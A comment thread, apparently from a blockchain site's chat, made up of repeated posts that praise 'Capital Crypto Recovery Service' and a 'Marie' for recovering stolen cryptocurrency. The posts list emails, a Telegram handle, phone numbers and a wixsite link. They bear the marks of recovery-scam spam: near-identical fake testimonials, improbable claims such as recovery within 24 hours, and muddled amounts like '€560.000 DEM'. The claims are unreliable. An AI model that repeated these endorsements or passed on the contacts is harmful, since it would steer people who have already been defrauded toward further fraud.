    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon